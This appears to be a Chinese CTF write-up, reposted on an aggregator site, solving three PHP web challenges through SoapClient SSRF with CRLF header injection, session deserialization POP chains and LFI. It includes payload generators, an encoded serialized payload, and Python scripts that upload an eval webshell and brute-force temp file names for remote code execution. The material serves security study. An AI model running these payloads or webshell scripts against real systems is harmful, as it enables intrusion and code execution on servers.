[LCTF]bestphp2022安洵杯 babyphp

news2024/11/19 13:31:33

目录

<1> [LCTF]bestphp‘s revenge

SoapClient触发反序列化导致ssrf

serialize_hander处理session方式不同导致session注入

crlf漏洞

<2> 安洵杯 babyphp

SoapClient 触发ssrf

session反序列化

利用文件操作原生类读取flag

<3> XCTF Final Web1

 解法1:calluser调用extract变量覆盖&包含session文件

 解法二:php7小bug 利用string.strip_tags导致php7执行崩溃


<1> [LCTF]bestphp‘s revenge

题目用到知识点:

  • SoapClient触发反序列化导致ssrf

  • serialize_hander处理session方式不同导致session注入

  • crlf漏洞

进去题目得到源码:

//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
//flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }

接下来我们进行代码审计:

call_user_func 函数:

         把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.

通过flag.php 可知:需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

  • 首先可以f 传入extract 从而造成变量覆盖。
  • 这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组 其第一个参数reset($_SESSION)就是$_SESSION['name'],可控。  SoapClient原生类可以触发SSRF
  • 因此 我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')), 最终call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求

SoapClient的内容怎么控制呢,poc:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
    'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

这里还涉及到 CRLF 漏洞  CRLF是”回车+换行”(\r\n)的简称

后面打算再写一个原生类的文章,上次只写了一个文件操作类, 这边就不再赘述,大家可以参考下面的文章

参考:反序列化之PHP原生类的利用 - l3m0n - 博客园

这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1" 会将flag保存在cookie为PHPSESSID=aaaaaaaa的$SESSION数组中,$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。

当存储是php_serialize处理,然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理:php-session反序列化_葫芦娃42的博客-CSDN博客

我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。

不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST

生成payload:|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先传入 GET: f=session_start&name= 上面的payload   POST: serialize_handler=php_serialize

然后传入 GET: f=extract&name=SoapClient    POST: b=call_user_func

 更改 PHPSESSID为 aaaaaaaa  正常访问 执行 var_dump($SESSION) 得到flag

<2> 安洵杯 babyphp

考点类似于上一题:

  • SoapClient 触发ssrf

  • session反序列化

  • 利用文件操作原生类读取flag

<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

源码可以构造pop链子:

B:__destruct  ->  C:__toString  ->  A:__invoke  ->  C:uwant

exp如下:

<?php
class A
{
    public $a;
    public $b;
    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a ;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}
session_start();
$_SESSION['sess'] = 'SoapClient';


$test = new B();
$test->a = new C();
$test->a->c = new A();
$test->a->c->a = '0e215962017';
$test->a->c->b = new C();
$test->a->c->b->a = '11111';
echo urlencode(serialize($test)));

 最终利用到危险函数位置:call_user_func(array(reset($_SESSION), $this->a));

再看 flag.php

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

存在ssrf漏洞 明显需要用 soapclient 原生类构造 get 数据

$f1ag=implode(array(new $_GET['a']($_GET['b']))); 存在文件操作原生类利用

 相比之前的 echo new $a($b);  implode(array(new $a($b)));也可以触发。

array(new $a($b)) 数组里只有一个 object类型的元素

implode() 函数返回一个由数组元素组合成的字符串,object被当做字符串进行操作,触发__toString() 与 echo效果差不多

那这道题我们是如何利用 call_user_func(array(reset($_SESSION), $this->a)); 来构造soapclient原生类进行ssrf呢?

<?php
$target = "http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$attack = new SoapClient(null,
    array(
        'location' => $target,
        'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
        'uri' => "hello"
    )
);
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;

首先利用 ini_set($_GET['baby'], $_GET['d0g3']); 和 $_POST['sess'],设置 session 反序列化器为 php_serialize 然后我们把上面得到的ssrf_payload 前面加上"|" 传入session文件里。然后不设置d0g3,在取出的时候由于 session 的默认反序列化器是 php 而造成session反序列化漏洞。在传入pop为之前构造的链子,call_user_func里

 GET:?baby=session.serialize_handler&d0g3=php_serialize

POST:sess=|上面的payload 

 然后 需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中 reset($_SESSION)值为SoapClient,为了后面使call_user_func激活soap类

GET:?dog3=

POST:sess=SoapClient

 最后 POST传入构造好的pop链 直接用call_user_func激活soap类,通过flag.php将flag写入session。

之后我们更改Cookie里的PHPSESSID为ssrf_payload中设置的sessid 访问 var_dump($_SESSION) 输出我们的flag 。

注:第一次发包可能会报错 因为这个pop链并没有形成闭合,最后没有return一个String来给B类的__toString()方法 再发一次即可

<3> XCTF Final Web1

index.php如下:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?> 

 function.php:

<?php
function filters($data){
    foreach($data as $key=>$value){
        if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
            die('Do not hack me!');
        }
    }
}
?>

admin.php

<?php
if(empty($_SESSION['name'])){
    session_start();
    #echo 'hello ' + $_SESSION['name'];
}else{
    die('you must login with admin');
}

?>

 解法1:calluser调用extract变量覆盖&包含session文件

   openbasedir 限制了工作目录,因此我们可以通过call_user_func回调session_start来更改session文件存储地址为 可操作的 /tmp。 把木马写入 sess_sessid 里

 然后 通过call_user_func 回调extract 变量覆盖file 来包含session文件里的🐎 进行rce

 解法二:php7小bug 利用string.strip_tags导致php7执行崩溃

php7的一个小bug:string.strip_tags可以导致php7在执行过程中奔溃

如果请求中同时存在一个文件上传的请求 , 这个文件就会被因为奔溃被保存在/tmp/phpXXXXXX(XXXXXX是数字+字母的6位数)

这个文件是持续保存的,不用条件竞争,直接爆破,为了爆破成功可以多线程去上传文件,生成多个phpXXXXXX

上传文件脚本:

import requests
import string

charset = string.digits + string.ascii_letters

host = ""
port = 
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
    except Exception as e:
        print(e)


def generate_tmp_files():
    file_content = "<?php echo 'wwwwwwwwwwwwwwwwwwwwwww';@eval($_POST['cmd']);  ?>"
    #phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)
    phpinfo_url = "%s/?function=extract&file=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)
    length = 60000
    for i in range(length):
        upload_file_to_include(phpinfo_url, file_content)


def main():
    generate_tmp_files()


if __name__ == "__main__":
    main()

爆破可利用文件脚本

import requests
import string

charset = string.digits + string.ascii_letters

host = ""
port = 
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = i + j + k + l + m + n
                            url = "%s/?function=extract&file=/tmp/php%s" % (base_url, filename)
                            print(url)
                            try:
                                response = requests.get(url)
                                if 'wwww' in response.content:
                                    print("[+] Include success!")
                                    return True
                            except Exception as e:
                                print(e)
    return False


def main():
    brute_force_tmp_files()


if __name__ == "__main__":
    main()

 爆破出来文件名之后,就通过/?function=extract&file=/tmp/phpxxxxxx post里cmd为命令 即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/163341.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring Security 解析(六) —— 基于JWT的单点登陆(SSO)开发及原理解析

Spring Security 解析(六) —— 基于JWT的单点登陆(SSO)开发及原理解析 在学习Spring Cloud 时&#xff0c;遇到了授权服务oauth 相关内容时&#xff0c;总是一知半解&#xff0c;因此决定先把Spring Security 、Spring Security Oauth2 等权限、认证相关的内容、原理及设计学习…

[极客大挑战 2019]Secret File

目录 信息收集 解题思路 信息收集 先看源码&#xff0c;发现一个php文件 <a id"master" href"./Archive_room.php" style"background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me&…

9.2 容器库概览

文章目录所有容器的共性&#xff1a;迭代器迭代器的范围容器类型成员begin和end成员容器的定义和初始化与顺序容器大小相关的构造函数赋值和swapassignedswap容器大小操作关系运算符所有容器的共性&#xff1a; 表格一&#xff1a; 类型别名说明iterator迭代器const_iterator…

用R语言理解全微分

文章目录6 全微分梯度的概念全微分前情提要 R语言微积分极限π,e,γ\pi, e, \gammaπ,e,γ洛必达法则连续性和导数数值导数差商与牛顿插值方向导数 6 全微分 梯度的概念 对于任意函数f(x0,x1,⋯,xn)f(x_0,x_1,\cdots,x_n)f(x0​,x1​,⋯,xn​)&#xff0c;其梯度为 ∇f(∂f∂…

解决从BIOS选择从U盘启动但是系统仍然从硬盘启动的问题

我怀疑是BIOS失去了记忆能力&#xff0c;不能记住我的选择&#xff0c;所以仍然按默认从硬盘启动。 解决&#xff1a;重置BIOS即可 下面用物理方法重置BIOS。 在主板上找到这三根针&#xff0c;将上面的黑色套子拔出&#xff0c;然后插入旁边的另外两根针&#xff0c;例如开始…

基于python知识图谱医疗领域问答系统实现

直接上结果展示: “让人类永远保持理智,确实是一种奢求” ,机器人莫斯,《流浪地球》 项目概况 本项目为一个使用深度学习方法解析问题,知识图谱存储、查询知识点,基于医疗垂直领域的对话系统的后台程序 运行效果:

aws beanstalk 结合packer创建自定义平台

参考资料 https://github.com/aws-samples/eb-custom-platforms-samples#updating-packer-templateElastic Beanstalk 自定义平台 今天使用eb平台创建环境的时候&#xff0c;发现有名为packer的选项&#xff0c;查询文档发现aws beanstalk支持自定义平台&#xff0c;这功能几…

4. 使用预训练的PyTorch网络进行图像分类

4. 使用预训练的PyTorch网络进行图像分类 这篇博客将介绍如何使用PyTorch预先训练的网络执行图像分类。利用这些网络只需几行代码就可以准确地对1000个常见对象类别进行分类。这些图像分类网络是开创性的、最先进的图像分类网络&#xff0c;包括VGG16、VGG19、Inception、Dens…

windows下 pytorch的安装(gpu版本以及cpu版本)

一. 查看是否有gpu 打开cmd 输入nvidia-smi 是以下这种情况的就是有gpu 没有gpu的话就会报错 下载安装cuda以及cudnn&#xff08;安装cpu版本可以跳过此步骤直接进行pytorch的安装&#xff09; 下载cuda 看清楚两个箭头指的地方 一个是11.3.0 一个是日期 后面下载cudnn的时…

ProEssentials Pro 9.8.0.32 Crack

ProEssentials .Net图表组件用于对您的科学、工程和金融图表进行评估和选择&#xff01; Winforms 图表, WPF 图表, C/MFC/VCL 图表. Gigasoft拥有20多年帮助企业开发大型客户端和嵌入式图表项目的经验 为何选择ProEssentials&#xff1f; 我们真诚地希望您能针对您的具体实施…

day03 链表 | 203、移除链表元素 707、设计链表 206、反转链表

题目 203、移除链表元素 删除链表中等于给定值 val 的所有节点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,6,3,4,5,6], val 6 输出&#xff1a;[1,2,3,4,5] 示例 2&#xff1a; 输入&#xff1a;head [], val 1 输出&#xff1a;[] 示例 3&#xff1a; 输入&am…

Pytorch Kaggle实战:House Prices - Advanced Regression Techniques

通过Kaggle比赛&#xff0c;将所学知识付诸实践 目录 1、下载和缓存数据集 2、访问和读取数据集 3、数据预处理 3、训练 4、K折交叉验证 5、模型选择 6、提交Kaggle预测 1、下载和缓存数据集 建立字典DATA_HUB,它可以将数据集名称的字符串映射到数据集相关的二元组上&am…

网络抓包-抓包工具tcpdump的使用与数据分析

1.测试背景 本次测试选用两台不同的服务器&#xff0c;ip分别为.233和.246,233服务器为客户端&#xff0c;246服务器为服务端。利用tcp协议就行socket通信。socket网络编程部分示例代码为基本的通信代码&#xff0c;需要了解tcp网络通讯的基本协议与过程。服务器上采用tcpdump…

【学习笔记】【Pytorch】八、池化层

【学习笔记】【Pytorch】八、池化层学习地址主要内容一、最大池化操作示例二、nn.MaxPool2d类的使用1.使用说明2.代码实现三、池化公式学习地址 PyTorch深度学习快速入门教程【小土堆】. 主要内容 一、最大池化操作示例 二、nn.MaxPool2d类的使用 作用&#xff1a;对于输入信…

Min_25筛

概述 Min_25是日本一个ACM选手的ID&#xff0c;这个筛法是他发明的&#xff0c;所以称之为Min_25筛。它能在亚线性复杂度求出一类积性函数的 fff 的前缀和&#xff0c;前提 是这个积性函数在质数和质数的幂位置的函数值比较好求。借助埃拉托色尼筛的思想 将原问题转化成与质因…

华为PIM-SM 动态RP实验配置

目录 建立PIM SM邻居 配置DR 配置动态RP 组成员端DR上配置IGMP 配置PIM安全 配置SPT切换 配置Anycast RP 配置接口的IP地址&#xff0c;并配置路由协议使得全网互通 建立PIM SM邻居 AR5操作 multicast routing-enable 开启组播路由转发功能 int g0/0/0 pim sm …

MacOS对文件夹加密的方法

背景 MacOS没有那种类似于windows那种对文件夹加解密的软件&#xff0c;MacOS自带有一种加解密&#xff0c;但是其实使用体验上跟windows那种很不一样。 win上的加解密都很快&#xff0c;就好像仅仅对文件夹进行加解密&#xff08;我估计是安全性较低的&#xff0c;因为加密过…

【JavaSE】异常的初步认识

目录 1、初步认识异常 1、算数异常 2、空指针异常 3、数组越界异常 2、异常的结构体系 3、异常的分类 1、编译时异常/受查异常 2、运行时异常/非受查异常 4、异常的处理 1、处理异常的编程方式&#xff08;防御式编程&#xff09; 1、事前防御性&#xff08;LBYL&a…

【软件测试】软件测试基础知识

1. 什么是软件测试 软件测试就是验证软件产品特性是否满足用户的需求 2. 调试与测试的区别 目的不同 调试&#xff1a;发现并解决软件中的缺陷测试&#xff1a;发现软件中的缺陷 参与角色不同 调试&#xff1a;开发人员测试&#xff1a;测试人员&#xff0c;开发人员等&a…

软件测试复习04:动态测试——黑盒测试

作者&#xff1a;非妃是公主 专栏&#xff1a;《软件测试》 个性签&#xff1a;顺境不惰&#xff0c;逆境不馁&#xff0c;以心制境&#xff0c;万事可成。——曾国藩 文章目录等价划分法边值分析法错误推测法因果图法示例习题等价划分法 等价类&#xff1a;一个几何&#xf…